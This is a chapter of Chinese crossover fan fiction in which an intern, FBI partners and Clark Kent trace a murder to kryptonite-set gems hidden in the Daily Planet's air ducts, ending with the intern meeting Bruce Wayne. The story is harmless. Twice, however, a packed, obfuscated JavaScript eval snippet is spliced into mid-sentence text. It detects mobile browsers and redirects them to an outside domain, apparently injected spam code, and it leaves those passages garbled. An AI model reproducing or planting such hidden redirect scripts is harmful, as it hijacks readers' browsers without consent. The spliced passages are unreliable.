随后凯姆博士又问了几个问题，譬如说受害者进出报社短暂的时间里有没有提起过别的什么的话题，可惜，依然看不出来哪里是能帮助破案的线索。 被问话的当事人试图从超人的角度去思考，那位维修工人为什么会和氪石扯上关系，然而无果，这个世界上厌恶超人的人同样数不胜数，知道氪石是其弱点的，却又很少，两者似乎扯不上关联。 捧着记了双方所有交谈的小本子，安晓坐在休息区的沙发上，望着那一行行的文字开始静下心来试图思考。 因为速写而潦草的字迹跳脱于纸面，在脑中围绕成一圈。 她有些想要找人帮忙参考一下自己想的那些问题，第一个想起来的就是前段时间留了联系方式的BAU的探员，不过因为隐约也听说过警方官方之间也很在意职权问题，思索两秒之后，安晓还是放弃了这个念头。 其实已经想到的那个问题，自己也大可以直接问出口，只是以无关人员参与进来这种事情应该不太好，虽然团队好像就因为‘她也是个实习生’的原因，使得安晓在人类研究所这边帮忙的事情看起来也好像理所当然。 安晓本人却总觉得某些事情只要开了个头，就会引发一些或许会没完没了的后续、 嗯…… 可能也就只是奇怪的突然冒出来的第六感罢了。 不再想这些事情，安晓把注意力放回了目前自己已知的案件线索上面。 已知，凶器，又或者说死因，肯定是和氪石有关联。 但死者的人力关系之中，唯二同样和氪石有关的，一个是是卢瑟集团的研究室，一个是星球日报的报社大楼，前者是超人死对头手下的产业，后者是超人本人就职的公司。 明面上来看，莱克斯·卢瑟又或者超人本人，和死者都没有直接关联。 安吉拉根据死者胸骨的伤口做了凶器的模拟图形，应该是一种尖锐的棱形物体，霍金斯博士在伤口处采集到了另外的金属微粒，那块氪石碎片应该是凶器上的某种镶嵌，又在拔出凶器时从凶器上脱落下来的。 伤口其实并不是特别深，死因应当算是失血过多，目前检查过的骸骨上没有看出来二次伤害的痕迹。 凶器，死者生前卢瑟旗下研究室的关联，还有和星球日报的关联，安晓不信这会是简简单单巧合。 ——从概率而言，根本不会有这么多次的巧合。 “肯特先生，死者是带着星球日报的空调管道设计图失踪的，是吧？” 安晓想，这也不像是巧合。 从报社方的角度来看，可能是因为死者负责这次的空调维保，所以管道设计图交给了他，只是因为某件突发的事情导致了当事人的死亡，设计图或许是落在了哪里，还没能被找回。 “受害者之前问过你们哪里没人办公才开始检修管道的，是吧？” “是这样没错，有什么问题吗。” 克拉克看向这个女孩。 暖棕色的眼睛里充满了认真的意味，安晓谨慎地站在了几步开外的距离，坚决地将自己不和超英侧打交道的决心，隐秘地进行到底。 有。 虽然小记者先生提到了这件事情的时候，重点偏向于受害者是个老好人的性格画像，但这件事本身代表着另一个问题。 没人会开空调的某段区域的管道，也意味着隐蔽，暂时也无人能发现什么。 “你觉得……受害者在管道里藏了东西的可能性大概有多大？” 安晓问。 “……” 有，且很大。 清楚记得那位受害者从哪里开始动工的克拉克·肯特抿嘴，过了几秒之后回答：“那一层的采访团队去战争地带做才发那个纪录片，未来两个月都不会有人在，除了日常保洁之外，应该就只有那位先生进去过。” 市政府档案管出事也不是第一天的事情，也就是说有着设计图纸的保罗·布鲁克会是最熟悉星球日报空调管道的人。 如果他要在管道里藏了什么的电话，除非本人，不然没有图纸也很难找到。 这种猜测也并非没有根据的胡乱空想，一旁的伯格先生听见这话感觉也有道理，当场就想要打电话让报社里的同事帮忙看下情况，也当场被凯姆博士直接一把拦下。 “我们有探员在大都会。” 凯姆博士表示，“这边FBI会有安排。” 杰弗逊人类研究室本身是协助FBI破案，关于案件本身还是要跟着FBI的动向，凯姆身为研究室的主管，可不能随意让记者们先透出任何可能的口风。 伯格先生也拿出来了自己身为专业记者的口才：“凯姆博士，毕竟你也知道的，我们星球日报在全美都算得上是数一数二的报社，有些报道也会涉及些不能实现透露的消息。” “目前这也不过就是猜测，探员们当然可以进去搜查，但是拿到搜查令也还需要实质的证据才行吧。” 他搓搓手：“如果能让我们能跟着一起的话，我会帮忙解决这件事情的，只要独家报道给到我这边就好。” 想尽办法想给专栏增加阅读量的伯格先生做到了这一点，在布伦南博士一通电话打给了在大都会那边旅馆刚休息下的搭档之后，大晚上的，他立刻准备调动人手去到星球日报总部。 假设管道设计图确实落到了凶手手上的话，趁着现在，也正是去找东西的好时候，不论晚了一步又或者早了一步，至少他们也可以找到更多的线索，而不是在这里尴尬地卡着进度。 布伦南博士拎上包：“我们很快就到。” 华盛顿到大都会开车也很快，出于对独家报道的激动，伯格先生举手自告奋勇：“我可以开车！” 对于出外勤这件事向来参与度很高的布伦南博士是要去的，很想见识一下那块未知矿石本体究竟是什么的霍金斯博士也举手表示自己要参与。 而提出了空调管道里可能藏了东西的安晓，也被拉着一起。 实际上，布斯探员的原话是‘你们斜眼小队竟然也有思路这么灵活的成员了，不可思议’。 布伦南博士的回话是，安小姐其实是考古部的实习生，不过她确实在相关案情方面有联想力，这也是她帮了忙。 挂断电话之后，她顺口问安晓要不要一起去大都会。 再次被肯定了的安晓迷迷糊糊就点了头——身后依然还没被布伦南博士夸奖的小伙伴文森，眼神幽怨地都快把人给扎穿了。 大都会警局，布斯探员已经临时调动好了搜查的人手，伯格先生也临时和主管打了招呼，简要阐明了前因，又说了自己已经要到了新闻独家的后果，星球日报的大门很乐意对这些官方人手临时打开。 楼层示意图还有大楼的出入口，由记者先生们友情提供。 不过在行动之前，还要进行简单的部署，这就算不是记者先生们应该听到的部分了。 “我觉得藏的东西肯定和那种矿石有关，你们说呢。” 霍金斯博士搓搓手，满眼晶亮，他对这种未知矿石现在完全是充满了热情，恨不得立刻获得更多的样本，好一探究竟。 安晓刚刚从布斯探员和布伦南博士的交谈里听来了，探员今天下午和死者的家人朋友都聊过了，他们说，死者在失踪之前说过自己要做一桩大生意，原本拮据，这段时间却在家居花费上又大手大脚了不少，和他兄弟一起给家里都添了几副看着高雅的配饰家具。 妻子说，他总提着等这桩生意做完后就有钱了，就省得再做空调检修这种苦累活计了。 死者还有个他自己的工作车间，不过布斯去里面看过也带着鉴证员搜查过，并没什么值得注意又或者藏了东西的地方。 而关于受害者口中的大生意的内容，他没有透露出来一点口风。 “你们说，会是宝石交易……”吗？ 宝石？ 几个人看向了安晓。 “我是说，如果我看到了陌生的漂亮的绿色石头，比起矿石什么的，我可能会想到绿钻或者绿宝石之类的东西。” 如果没有先入为主的观念的话，绿氪石本来在画风上就和绿宝石差不了很多。 看起来……很值钱。 在没有其他辅助手段去确认那块石头有害无害的话，说不定真的会以为是某种自己没认出来的宝石。 来路不明的宝石要怎么变成钱的话？ 布斯探员想了想，把人手分成两队，一对去搜查星球日报的空调管道，另一队去不那么正规的珠宝回收店铺，以及当铺去询问。 两个小时后，去了星球日报的小队传来答复——一无所获。 或者说，记者先生提供的那件没有人的办公室里，天花板通风口那块的板有所松动，里面藏着的东西应该已经被人取走了。 调了监控来看，只有电梯口处又监控，是推着收推着的清洁工，帽檐压得很低，看不清面貌，拿给报社里其他清洁员问，都说不是他们。 去调查当铺和珠宝回收店铺的还没那么快有消息，只能等到明天。 “安小姐，你和我一起吧。”布伦南喊上了安晓一起。 “嗯？” 安晓一愣。 霍金斯博士嘻嘻笑了声：“小女孩，你不会以为我们要在警局里凑活一晚吧？” 难道不是吗？ 她大惊。 杰弗逊研究所给的外勤补贴一向大方，和FBI批给布斯探员一天或许一百美金都不到的经费不一样，布伦南博士每次跟着跑外勤可都是住的希尔顿级别的酒店。 不过今天太晚了，也只能临时找了家附近的条件还不错的酒店住下。 柔软舒适的床铺，还有颇高的楼层上可以看到的夜景，安晓以为自己应该会睡个好觉，然而沾了枕头后，她在太阳刚升起没多久后就直接醒了。 房间里的胶囊咖啡机是可以免费取用，给自己灌了两口咖啡强迫清醒些后，几个人又重新在大都会警局里集合。 关于宝石的事，好几家当铺给出了见过受害者的回复，基本回答也都大同小异。 ‘这位兄弟拿着一整套金属餐具啊烛台啊过来说要当掉，上面宝石倒是有点意思，但是那些餐具都是些镀银次货，整体价值不高。’ 说着，那位当铺雇员犹豫了下，又给出了一个新的地址。 ‘这个地方什么都会收，说不定那位老兄也去过。’ 在去之前，布斯也还是把那个地址让FBI的分析员去先查了一番，得到的结果是，那个地段是莱克斯·卢瑟的产业。 关系，连上了。 他当即就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510139|186157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着布伦南博士过去，不过这次也是铩羽而归。 那个地方本身是珠宝店，不过派来接待这对搭档的经理回答问题也是滴水不漏。 布斯探员得到的消息就是，受害者的确去过，但是也只是去过而已，他们并没有达成交易，而对于受害者的死，他们也表示很遗憾。 案件又一次陷入僵局。 “不，不对。” “如果凶手是因为那些东西才对死者动手的话，也就是说，他也为了钱才动手的。” 布斯探员想，还是要盯着那几家当铺和回收店才对。 而对于凶手，他也有所猜测。 对着警察和探员，那些店铺当然会回答得更滴水不漏一些，实际上看不出明头的宝石往往也代表着价值，能沾点灰色产业的当铺和宝石店不至于那点眼力见都没有。 或许他们和受害者的死没有关系是真，但他们说的没有收那些‘宝石’，也掺了不少水分。 受害者去了这么多家店，说不定是在比价格。 “布伦南博士，凶器的话，应该是烛台吧。” 对于探员部署警力去盯着那些店铺的事，安晓没有兴趣，在警局临时空出来的办公桌上，安晓拿起了桌上的一张照片。 是在死者的工作间里取证拍的照片，应该不是凶器本身，那座烛台足够尖锐，不过太‘素’了，纯粹只是镀银的模样。 在布斯探员的猜测里，死者应该是想要把那些宝石加工成餐具上镶嵌的样子，尽量走典当的路子合理出手。 至于怎么藏在了报社大楼的空调管道里？ 布伦南博士：“从死者的腕骨的磨损来看，他经常拎着重物，也就是维修工人会带着的那种工具箱。” “死者已经去过星球日报好几次了，分批次的话，完全把东西都藏在了工具箱里然后在藏在那边。” 安晓恍然：“……但是凶手是假装成清洁工去取走的，那么大的清洁工的手推车。” “他知道那些东西有多大体积。” 而之前布斯探员怎么说来着？ 死者的妻子说，死者这段日子花钱都大手大脚了不少，和他兄弟一起采购了那些家具！ “嘿，女士们，我已经派人去盯着他了。”在破案方面更有敏锐度的布斯探员打了个响指，他看了眼刚刚振铃的手机，“正好，他出门了。” “带了个大行李箱。” 应当是盯梢的警员传来的消息。 逮捕罪犯一向是布伦南博士很乐意参与的环节，从盯梢警员事实发来的消息看，他们很快就把目的地定在了某家他们确实问过话的一家珠宝回收店里面。 记者先生们更是不放过这个机会，伯格端着摄像机就要跟着在他们后面拍第一手照片。 还想前两天在自己脑袋顶上几层就放着一堆氪石，稍稍有些心有余悸的克拉克也自然还是跟着一起。 拖着个大行李箱走在街头的样子其实并不算特别显眼，大都会无疑是个繁华的城市，来往行人都是行色匆匆，没人会太过于在意身边走过的是什么人。 直到那位走到珠宝店门口的会后，布斯探员才掏出证件：“威廉·布鲁克，我想我们还有点话题需要继续聊一下。” 以布斯探员从业这么多年的经验来看，FBI都杵到眼前了，基本属于是抓现行犯的情形之下，很少有人能蠢到转头就跑。 偏偏眼前就碰上了这么一位。 威廉·布鲁克当场把行李箱往前使劲一推，试图靠这样的动作去阻挡上几秒珍贵的逃逸时间。 叩得不够严实的行李箱被这一撞就敞开了口，里面镶嵌着绿色石头的小碟子叉子，看起来有些廉价俗气的仿佛水钻的吊坠装饰，还有个间隙里血液已经开始发暗的没有清理干净的烛台零件，就这么顺着行李箱的开口淌了出来横在地上。 这些都是物证，警员们当场就围住了围观起来的要看热闹的人群，也多亏了人们改变不了的看热闹的习性，威廉的动作一顿，从怀里又掏出了一块什么就要往身后探员那边砸。 “该死的……” 准头有些太差了，没砸到探员，反而差点砸到了站在人群边边不想添乱的实习生小姑娘头上。 看了眼站在左边的隔着氪石已经好几步远的记者先生，在低头看了看差点砸着自己脑袋的一块氪石，纯粹的氪石，估计是‘原石’的还没来得及进行再加工。 再看了看像是扎进鸡腿堆里蹲在氪石‘工艺品’边的霍金斯博士，又抬头看了眼克拉克，再重新回头看了眼手里的氪石。 慢了两拍的，安晓被被逼激发出了自己这辈子的演技巅峰。 “……啊！！” 就好像单纯的被没道德心的罪犯乱扔东西的行为给吓到了，小姑娘后知后觉回过神来惊叫一声，仿佛条件反射，一抬手就把手里那块绿油油的玩意儿往边上扔。 “那是物证————”霍金斯博士同样差点要尖叫出声。 而那块氪石就这么顺着人群边缘的垃圾桶盖上弹了一下，以格外流畅地姿势滚到了马路上，又堪堪停在了豪车急刹车了的车轮底下。 自知自己应该做错事了的实习生小姑娘原地装起了鹌鹑，一脸心虚自己竟然扔了物证的表情，顺便避开了又离氪石堆好几步远的记者先生的眼神。 霍金斯赶紧往前扒开人群，拿着证物袋就要把那块石头给捡起来。 先一步的，那辆豪车的门被打开。 “杰克·霍金斯？” “……你是，韦恩？”首先先把这块矿石装袋封箱，已经很久不接触家族事业也不太参加那些觥筹交错的商业晚会，同样身居全美有钱人前列的霍金斯博士，慢了几秒才认出来来人。 布鲁斯·韦恩微微颔首，微笑道：“好久不见。” ‘听说’星球日报里面有人藏匿赃物，这件事甚至还和凶杀案相关。 自己毕竟也是星球日报的大老板，外界公认不务正业的韦恩先生，也选择了过来大都会凑个热闹的结尾。 12. 第 12 章 布鲁斯·韦恩出现在大都会当然也不会是又一个巧合。 因为‘克拉克·肯特’意外参与进来了这起有FBI参与的凶杀案，记者先生并没有合理的理由去插手询问那些物证来处和去出，这么一个大前提已经落在这儿了，再多嘴过问才是逾距。 超人更不适合无缘无故出面，这相当于把关键点上赶着双手捧在人前。 受害人又有着和卢瑟集团旗下产业有着一点目前来看仅此而已的关联，超人由衷地希望某位老对头手里的氪石库存不要变得更多，昨夜思来想去好一会儿，最后，这件事落去了联盟顾问的手里。 身为星球日报的大老板，布鲁斯比一个小记者更适合过问一些事情。 - 眼里控诉被半垂下来的眼睫给挡住，附近被直接暂时包下的咖啡厅里，试图坐在角落准备隐身的安晓此刻内心更是幽怨到了极点。 或许是自身专业的原因，她知道什么样子看起来才是突兀的引人注意的，这会儿虽然没有抬眼，但是肢体动作依然是轻松的，只是单纯在保持一个‘我只是个小实习生在这里说不上话’的定位。 与此相对应的，是安晓对面坐着的克拉克，伯格先生要赶今天的晚报，这会儿也不嫌弃大楼里面吹不出风的空调，跑着回去就准备赶第一手的稿，克拉克身为唯二在场的星球日报职员，被大老板钦点留下来说明前因后果。 凶手已经被缉拿，被猜测是凶器的烛台被打包送回了杰弗逊研究所，安吉拉那边已经准备好做骨头上的伤口和凶器尖端的对比，烛台上 没有彻底被清理掉的血迹也被安排了检验，还有其他器具上的指纹提取。 而那位凶手的口风，也从最开始的‘在律师来之前我不会说一个字’的态度，变成了‘是他先说好五五分账的后来又反悔’，律师方面应该是要以过失杀人来辩护。 布斯探员身为本次案件的负责人，在给这位心血来潮的公子哥说能透露出来的案情相关，他更想要回去参与审讯，更别提还有一堆结案报告还等着他写。 家族作为Old money中的一员，杰克·霍金斯也算是认识哥谭那个韦恩家族的法定继承人。 时过境迁，韦恩家的小子早就变成了韦恩家的老爷，他这个霍金斯继承人依然还是继承人，家族事业不少也都是有职业经理人打理，他本人更是沉迷于昆虫和泥土中的奥秘，无所谓那所谓的上流阶层又有什么新的风起云涌的变化。 如今，霍金斯要说和布鲁斯·韦恩，也只能算是个小时候认识的关系，谈不上交情，这会儿他也更是看这位‘不务正业’的公子哥不爽，他也赶着回去忙检验那些未知矿石呢！ 布伦南博士本身对于交际方面就有点呆板得仿若不谙世事，这会儿单纯从人类学方面在看这位韦恩先生——从骨相上来说是很美观，谈吐似乎的确符合大众的对风趣的定义。 “嗯……” “所以那位布鲁克先生藏在我的楼里面的那些宝石，是私自开采的矿石？” 其实闲聊的部分都没有几句，对于FBI探员说的那些案情部分，公子哥就是一副‘好老套的分赃不均’的百无聊赖的表情，倒是问到赃物本身，他来了点兴趣。 韦恩集团是不是也有在做珠宝行业来着？ 好像有。 布斯探员和霍金斯博士恍然明白过来，原来这才是他来的目的。 聪明人总是会自己主动给补上理由。 新开采的未知矿石俨然是很好的噱头，星球日报本身也是韦恩旗下，他自然能拿到第一手消息。 商人逐利，第一时间这位韦恩老总来大都会向FBI套话，也不是什么难以理解的事情了，再怎么是个世人皆知的花花公子，也不会跟钱过不去。 这要真的是新品类的宝石，要是抓住了先机，物以稀为贵，其中商业价值也是不可估量。 不过可惜，不论具体怎么打算都要落空了。 布斯探员两手一摊：“根据凶手的口供，那是他们在公园山上的一个陨石坑里发现的，本来是想看哪个做天体观察的实验室又或者私人收藏家能收购，意外从陨石裂口里面发现里面的不对劲。” “普通陨石和宝石的价格可不一样。” “威廉布鲁克本身在车间工作，有切割道具，两个人就准备把那块陨石当宝石给卖个好价钱。” 所以就别想着开发矿脉之类的事情了，那些东西本身无主，最后就只能放在防辐射的箱子里，然后在物证陈列室里面落灰。 “是吗。” “那还真是可惜。” 耸肩叹气表露出来的遗憾实在是算不上多真心实意，对于这起凶杀案本身更是兴趣寥寥，兴致阑珊要告别也不过就是转眼的事儿。 只是，果然是大名在外的花花公子。 顶着布斯探员那差点要刀人的眼神，他都能向布伦南博士要联系方式！ 霍金斯一副看热闹的表情，八卦就差刻在眼底下——他倒是也不认为这样的搭讪里有多少格外认真的真心，但看热闹谁不喜欢？ “够了韦恩先生。” 布斯探员扯了个假笑出来：“时间差不多了，我们还得回去收拾东西准备华盛顿。” 收回了刚刚接过布伦南博士递过来的明信片的手，布鲁斯·韦恩表情自然地接话：“不过现在可是用餐的时间，留下来用餐之后再走吧。” 这家咖啡厅也提供简餐，平日里都是附近上班族们会在午休的时候来吃，味道一般，但是听布鲁斯·韦恩这么一说，饥肠辘辘的感觉也应声涌现了出来。 有钱人说要请客，他们自然也没有跟着客气。 “我看门口挂牌上说这里通心粉是招牌餐点。”招来服务员要了菜单，递给身边人的时候，布鲁斯说了句。 结果菜单的手微微停顿了下，安晓保持微笑：“谢谢。” “我是布鲁斯·韦恩。” “安晓，我叫安晓，是杰弗逊博物馆的实习生。” 哇哦，这就转换目标了？ 霍金斯对着布斯和布伦南博士做了个‘哇哦’的表情。 布斯扭头翻了个白眼。 花架子，他想。 布伦南博士并不是十分明白布斯对这位韦恩先生的抵触，但也有科学依据表明，Alpha型性格的男性会对同样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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死者既然带着那些去过卢瑟集团下的珠宝工作室，那他应该也盯上氪石了吧？ 总觉得后面也不一定会顺利。 坐在对面外侧的韦恩先生接过服务员送过来的餐巾，很有绅士风度的，他先转手递给了两位女士。 接过的时候，安晓又说了一次谢谢，这好像也是她今天正式的第一次直面布鲁斯韦恩。 虽然很想把小鹌鹑实习生的性格设定进行到底，但是接受别人好意还不抬头，也确实是不大礼貌。 演戏虽然不是专业的，但单纯从人物性格之类的心理分析上来看，再低头不吭声的话，反而会和平时的性格对比显得更奇怪，要是被身边人问起来更尴尬。 刚刚霍金斯博士都还以为自己是说她别顺手就扔证物的语气凶了，都小声试探她心情怎么样了怎么完全不吭声，虽然昨天才第一次见面，但安晓显然是偏不卑不亢的模样。 开始从自己专业角度来分析现在怎么应对才更自然，安晓弯着嘴角，嘴唇微抿，看起来只是单纯不擅应对社交场合的内敛。 视线有了短暂的两秒的交错，比起对对方相貌的赞叹，第一时间里，安晓注意到的是布鲁斯韦恩的眼睛。 虽然根据刻板印象擅自揣测已经真实存在的人物并不是很礼貌，但安晓还是想说…… 他就和漫画里的一模一样嘛。 好漂亮呀。 蓝色的眼睛！ 还有…… 哇！！！我遇见了蝙蝠侠！！